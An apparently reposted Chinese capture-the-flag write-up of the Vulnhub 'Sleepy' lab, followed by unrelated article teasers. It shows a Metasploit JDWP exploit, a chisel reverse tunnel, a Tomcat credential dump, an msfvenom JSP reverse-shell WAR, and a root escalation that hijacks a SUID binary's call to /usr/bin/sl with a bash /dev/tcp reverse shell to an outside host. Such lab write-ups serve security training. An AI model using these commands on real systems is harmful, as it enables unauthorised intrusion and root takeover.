当前位置: 首页 > news >正文

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-enginnering

信息收集

Server IP AddressPorts Opening
192.168.8.100TCP:21,8009,9001

$ nmap -sV -sC 192.168.8.100 -p- --min-rate 1000 -Pn

Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-20 05:06 EDT
Nmap scan report for 192.168.8.100 (192.168.8.100)
Host is up (0.00080s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.8.107
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
|_jdwp-info: ERROR: Script execution failed (use -d to debug)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.60 seconds

Jdwp

通过jdb,可以未授权连接9001端口,并且可以进行文件读取
$ jdb -attach 192.168.8.100:9001
> threads
> interrupt 1

image.png

使用msf利用jdwp漏洞

$ msfconsole
msf6 > search jdwp
msf6 > use 0
msf6 exploit(multi/misc/java_jdwp_debugger) > set RHOSTS 192.168.8.100
msf6 exploit(multi/misc/java_jdwp_debugger) > set RPORT 9001
msf6 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_jdwp_debugger) > exploit

image-1.png

查看网络端口开放情况

meterpreter > netstat -ano

image-2.png

8080为Tomcat服务

image-3.png

利用chisel将8080端口映射

[Kali]
$ ./chisel server -p 8000 --reverse

image-5.png

[靶机]

[sleepy@sleepy tmp]$ curl http://192.168.8.107/chisel -O chisel
[sleepy@sleepy tmp]$ chmod +x chisel
[sleepy@sleepy tmp]$ ./chisel client 192.168.8.107:8000 R:8080:localhost:8080

image-4.png

通过kali访问http://127.0.0.1:8080/manager/html

image-6.png

image-7.png

使用cat命令读取/etc/tomcat/tomcat-users.xml文件获取账户密码

image-8.png

username:sl33py
password:Gu3SSmYStR0NgPa$sw0rD!

构造war包,获取tomcat用户的shell

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.8.107 LPORT=10032 -f war > shell.war

image-9.png

image-10.png

msf监听

meterpreter > use exploit/multi/handler
meterpreter > set payload java/jsp_shell_reverse_tcp
meterpreter > set LHOST 192.168.8.107
meterpreter > set LPORT 10032
meterpreter > exploit

访问地址http://127.0.0.1:8080/shell/

image-11.png

Local.txt 截屏

image-25.png

Local.txt 内容

5a5946b264f0f12355ddc51693bbb255

权限提升

查找具有SUID的文件

bash-4.2$ find / -perm -4000 -type f 2>null

image-12.png

image-13.png

bash-4.2$ cp /usr/bin/nightmare /usr/share/tomcat/webapps/sample/nightmare

访问http://192.168.8.107:8080/sample/nightmare下载nightmare

首次将尝试打开/dev/tty,如果成功,则将进入fire函数,反之则退出

image-16.png

image-17.png

如果选择yes,则将再次调用fire

image-18.png

不过我们通过命令执行,出现了错误,它似乎使用了库“aalib”,一个 ASCII 艺术库。aalib 无法初始化

image-19.png

image-20.png

我们跟进train函数时

image-21.png

setresuid(ruid: 0, euid: 0, suid: 0):

  • 这是一个系统调用,用于设置进程的真实用户 ID(Real UID)、有效用户 ID(Effective UID)和保存的设置用户 ID(Saved UID)。
    在这个调用中,ruid、euid 和 suid 都被设置为 0,这意味着进程将自身的所有用户 ID 都设置为 root(超级用户)。

setresgid(rgid: 0, egid: 0, sgid: 0):

  • 类似于 setresuid,这是一个系统调用,用于设置进程的真实组 ID(Real GID)、有效组 ID(Effective GID)和保存的设置组 ID(Saved GID)。
    在这个调用中,rgid、egid 和 sgid 都被设置为 0,这意味着进程将自身的所有组 ID 都设置为 root 组。

return system(line: “/usr/bin/sl -al”):

  • 这是一个 system 调用,用于在 shell 中执行命令。
    在这个调用中,执行了命令 “/usr/bin/sl -al”,这是一个模拟火车动画的命令(sl 是一个著名的玩笑程序,它模拟的是打错 ls 时出现的火车动画,-al 是它的参数)。

https://serverfault.com/questions/548320/override-path-to-binary-for-particular-user/548323#548323

中而得知,我们可以劫持程序中的/usr/bin/sl.

bash-4.2$ function /usr/bin/sl () { /bin/bash >& /dev/tcp/192.168.8.107/10033 0>&1;}

bash-4.2$ export -f /usr/bin/sl

使用 export -f 将函数 /usr/bin/sl 导出到子 shell 环境中。这意味着任何从当前 shell 派生出来的子 shell 都可以使用这个函数定义。

bash-4.2$ /usr/bin/nightmare

ctrl+c退出时,将会自动调用/usr/bin/sl函数

image-22.png

image-23.png

Proot.txt 截屏

image-24.png

Proot.txt 内容

92f64746d7cd155607533c778774b995

相关文章:

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-enginnering

信息收集 Server IP AddressPorts Opening192.168.8.100TCP:21,8009,9001 $ nmap -sV -sC 192.168.8.100 -p- --min-rate 1000 -Pn Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-20 05:06 EDT Nmap scan report for 192.168.8.100 (192.168.8.100) Host is up (0.00…...

基于MATLAB的误码率与信噪比(附完整代码与分析)

目录 一. 写在前面 二. 如何计算误码率 三. 带噪声的误码率分析 3.1 代码思路 3.2 MATLAB源代码及分析 四. 总结 4.1 输入参数 4.2 规定比特长度 4.3 特殊形式比较 一. 写在前面 (1)本文章主要讨论如何仿真误码率随着信噪比变化的图像 &#…...

【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 字符串筛选排序(100分) - 三语言AC题解(Python/Java/Cpp)

🍭 大家好这里是清隆学长 ,一枚热爱算法的程序员 ✨ 本系列打算持续跟新华为OD-C/D卷的三语言AC题解 💻 ACM银牌🥈| 多次AK大厂笔试 | 编程一对一辅导 👏 感谢大家的订阅➕ 和 喜欢💗 📎在线评测链接 字符串筛选排序(100分) 🌍 评测功能需要 订阅专栏 后私信…...

# 开发安全

开发安全 文章目录 开发安全安全开发生命周期安全开发目标安全开发基本准则注入类攻击手段Sql注入命令执行命令执行防御文件遍历防御 植入类安全漏洞防御XSS(前端漏洞)防御 储存型XSS文件上传防御 CSRF防御 会话固定防御 其它类型安全漏洞越权访问防御 口…...

Qt MaintenanceTool.exe使用镜像源更新Qt

环境:Windows11,Qt6.5,新版的MaintenanceTool.exe linux环境类似,mac环境可以看官方文档。 cmd命令窗口:切换到MaintenanceTool.exe所在目录,可以用“D:”切换到D盘,“cd xxxx”切换到xxxx目录…...

Java 8 Stream API介绍

Java 8引入了Stream API,这是对集合框架的一种增强,它允许你以一种声明式的方式处理数据集合。Stream API的核心在于将数据的操作分为两个主要阶段:中间操作和终端操作。中间操作返回的是一个新的Stream,可以链式调用多个中间操作…...

【前端技巧】css篇

利用counter实现计数器 counter-reset&#xff1a;为计数器设置名称&#xff0c;语法如下&#xff1a; counter-rese: <idntifier><integer>第一个参数为变量名称&#xff0c;第二个参数为初始值&#xff0c;默认为0 counter-increment&#xff1a;设置计数器增…...

2024年6月20日 (周四) 叶子游戏新闻

超市播音系统: 定时播放不同音乐 强制卸载软件: 一款强制卸载软件 免费多人沙盒游戏《宝藏世界》推出更新“潮起潮落”&#xff0c;带来全新克苏鲁风冒险准备好迎接一场超凡的冒险吧&#xff0c;MMORPG发行商gamigo宣布《宝藏世界》的最新更新&#xff1a;“潮起潮落”。这次更…...

Zookeeper 一、Zookeeper简介

1.分布式系统定义及面临的问题 分布式系统是同时跨越多给物理主机&#xff0c;独立运行的多个软件所组成的系统。类比一下&#xff0c;分布式系统就是一群人一起干活。人多力量大&#xff0c;每个服务器的算力是有限的&#xff0c;但是通过分布式系统&#xff0c;由n个服务器组…...

普通一本能找到嵌入式linux工作吗?

在开始前刚好我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「嵌入式linux的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&#xff01;首先&#xff0c;普通…...

Effective C++ 改善程序与设计的55个具体做法笔记与心得 3

三. 资源管理 13. 以对象管理资源 请记住&#xff1a; 为防止资源泄露&#xff0c;使用智能指针 14. 在资源管理类中小心copying行为 请记住&#xff1a; 复制RAII对象必须一并复制他所管理的资源&#xff0c;所以资源的copying行为决定RAII对象的copying行为普遍而常见的…...

苹果的后来者居上策略:靠隐私保护打脸微软

01.苹果与微软相比更注重用户隐私 我一直是Windows的忠实用户&#xff0c;但微软疯狂地将人工智能融入一切&#xff0c;让我开始觉得应该咬咬牙换成Mac。 自小我几乎只用Windows电脑&#xff0c;所以我对MacOS一直不太适应。虽然Windows 11有其缺点&#xff0c;但总的来说&am…...

java经典面试题--进程和线程的关系/区别

进程和线程的定义以及作用 进程:进程是操作系统分配资源的基本单位,是程序的一次执行过程,它包括了程序执行的上下文环境,包括程序代码、数据、系统资源&#xff08;内存、文件、设备等&#xff09;以及执行状态等信息&#xff0c;其作用是提供一个独立的执行环境&#xff0c;…...

Solr 日志系统7.4.0部署和迁移到本地,Core Admin 添加新的core报错

文章目录 Solr部署Docker部署二进制部署 Tips:Solr设置账号密码方法1&#xff1a;(不使用)方法2&#xff1a; Core Admin 添加新的core报错Solr数据迁移 Solr部署 Docker部署 docker run -d -p 8983:8983 --name solr solr:latest docker run -d -p 8983:8983 -v /opt/solr:/…...

前缀和+双指针,CF 131F - Present to Mom

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 131F - Present to Mom 二、解题报告 1、思路分析 很经典的一种把列看作cell 来进行双指针/递推的题型 我们考虑&#xff0c;可以预处理出原矩阵中的所有star 然后我们去枚举矩形的上下边界&#xff0c;把…...

HCIA-速查-ENSP模拟器2步清空配置

需求&#xff1a;清空模拟器配置 清空当前图中配置 步骤1&#xff1a;reset saved-configuration 后输入y确认 步骤2&#xff1a;reboot后输入n否认再输入y确认 验证已经清空配置...

优选算法刷题笔记 2024.6.10-24.6.20

一、双指针算法(快慢指针,对撞指针) 艹&#xff0c;CSDN吞了我是十三题笔记&#xff01;&#xff01;&#xff01; 二、滑动窗口(滑动窗口) 1、找到字符串中所有字母异位词 class Solution {public List<Integer> findAnagrams(String s, String p) {int[] hash1 new in…...

无需科学上网:轻松实现国内使用Coze.com平台自己创建的Bot(如何实现国内免费使用GPT-4o/Gemini等最新大模型)

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 如何在国内使用 Coze.com 创建的 Bot 📒📝 创建Bot📝 实现国内使用📝 测试⚓️ 相关链接 ⚓️📖 介绍 📖 Coze.com 是一个强大的平台,允许用户创建各种类型的 Bot。然而,许多国内用户可能会遇到访问问题,导致无法…...

【车载开发系列】CAN通信总线再理解(中篇)

【车载开发系列】CAN通信总线再理解&#xff08;中篇&#xff09; 九. CAN总线标准十. CAN物理层十一. CAN数据链路层1&#xff09;CAN的通信帧类型2&#xff09;CAN的标准帧格式1. CAN ID2. 数据场 3&#xff09;CAN总线仲裁 十二. CAN应用层1&#xff09;CANopen2&#xff09…...

系统编程:互斥锁,条件变量

互斥锁 使用过程: 1,声明锁: pthread_mutex_t lock; 2,初始化锁:pthread_mutex_init(&lock,NULL); 3,在线程的方法函数中上锁和解锁:(成对出现) pthread_mutex_lock(&lock); pthread_mutex_unlock(&lock); 4,销毁锁:pthread_mutex_destroy(&lock); 代码示例:…...

从新手到老手:四类Ozon卖家选品工具选择指南

选品工具没有“最好”&#xff0c;只有“最匹配你当前阶段”。四类卖家&#xff0c;四种方案。市面上的Ozon选品工具&#xff0c;功能各有侧重。有的擅长给数据&#xff0c;有的擅长给结论&#xff0c;有的擅长管店铺。不同阶段的卖家&#xff0c;痛点不同&#xff0c;适合的工…...

Claude智能优化器:提升AI应用开发效率的提示词工程中间件

1. 项目概述与核心价值 最近在折腾AI应用开发&#xff0c;特别是围绕Claude API做各种自动化工具时&#xff0c;发现一个挺普遍的问题&#xff1a;直接调用Claude API返回的答案&#xff0c;有时候会显得有点“啰嗦”或者“不够聚焦”。比如你让它写一段代码&#xff0c;它可能…...

Dify工作流构建指南:从业务需求到可运行AI应用的全流程解析

1. 项目概述&#xff1a;从业务需求到可运行工作流的全栈构建器如果你正在使用 Dify 这类低代码 AI 应用开发平台&#xff0c;大概率遇到过这样的困境&#xff1a;脑子里有一个清晰的业务想法&#xff0c;比如“我想做一个能自动处理客服工单并生成摘要的机器人”&#xff0c;但…...

同样遍历 Mat,为什么你的代码慢 10 倍?

文章目录前言一、什么是不连续Mat&#xff1f;1.产生不连续内存的常见场景2.连续与不连续内存本质区别二、常见错误遍历方式&踩坑分析1.错误一:at<>()逐像素访问&#xff08;速度慢&#xff09;2.错误二&#xff1a;强行使用一维 data 指针&#xff08;高危崩溃&…...

边缘TTS实战:本地部署高质量语音合成与性能优化指南

1. 项目概述&#xff1a;当TTS遇见边缘计算最近在折腾一个需要实时语音合成的项目&#xff0c;发现了一个挺有意思的仓库&#xff1a;travisvn/openai-edge-tts。这名字一看就很有料&#xff0c;把“OpenAI”和“Edge-TTS”这两个词组合在一起&#xff0c;背后指向的是一个非常…...

Neo-Launcher数据库架构:数据存储和管理的深度解析

Neo-Launcher数据库架构&#xff1a;数据存储和管理的深度解析 【免费下载链接】Neo-Launcher Neo-Launcher 项目地址: https://gitcode.com/gh_mirrors/ne/Neo-Launcher Neo-Launcher是一款由Neo Collective开发的开源启动器应用&#xff0c;其高效的数据存储和管理系统…...

欧盟单一电信市场:技术规则重塑与产业影响分析

1. 项目概述&#xff1a;一场迟来的电信革命作为一名在通信行业摸爬滚打了十几年的工程师&#xff0c;我经历过从2G到5G的每一次技术迭代&#xff0c;也见证过不同市场间因政策壁垒而导致的种种怪象。比如&#xff0c;你带着一部手机在欧洲大陆旅行&#xff0c;从德国到法国不过…...

Claude Code环境变量配置全解析:从入门到精通

1. 项目概述&#xff1a;Claude Code 环境变量配置生成器如果你和我一样&#xff0c;是 Claude Code 的深度用户&#xff0c;那你一定经历过这样的时刻&#xff1a;面对一个复杂的开发任务&#xff0c;想调整一下模型的思考深度&#xff08;Effort Level&#xff09;来平衡成本…...

LLM RAG还值得做吗?今天一下就顿悟了

在企业级AI应用领域&#xff0c;RAG&#xff08;检索增强生成&#xff09;不仅值得深耕&#xff0c;更是当前唯一能站稳脚跟的核心护城河。曾有人断言长上下文窗口&#xff08;Long Context&#xff09;会取代RAG&#xff0c;但这一说法早在2024年就被彻底证伪&#xff0c;进入…...

别再死磕外链了:用Python+搜索API实现Google SEO自动化内容生产

做Google SEO的人都有一个共同感受&#xff1a;越来越难了。 以前发发外链、堆堆锚文本就能上去&#xff0c;现在不行了。Google的算法从"匹配关键词"进化到了"匹配搜索意图"。外链权重从60%降到30%&#xff0c;内容质量成了核心排名因素。 但问题是&#…...